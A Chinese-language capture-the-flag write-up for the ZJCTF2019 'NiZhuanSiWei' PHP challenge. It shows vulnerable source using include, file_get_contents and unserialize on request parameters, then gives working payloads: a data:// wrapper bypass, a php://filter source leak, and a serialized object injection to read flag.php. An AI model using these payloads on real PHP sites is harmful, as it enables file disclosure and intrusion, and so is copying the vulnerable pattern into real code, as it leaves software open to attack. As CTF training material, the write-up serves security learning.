ZJCTF2019-NiZhuanSiWei-wp

题目链接

查看源码

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 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  1. 5行检测file_get_contents($text)
  2. 11行文件包含
  3. 12行反序列化

伪协议

  1. 通过data协议绕过file_get_contents条件判断
  2. 通过php协议查看useless.php(代码提示)内容
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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/convert.base64-encode/resource=useless.php

解码得到 useless.php

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<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

由index.php12-13行，我们可以触发__tostring

exp

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<?php
class Flag{
	public $file="flag.php";
}

$a = new Flag;

echo serialize($a) . "\n";
echo urlencode(serialize($a)) . "\n";
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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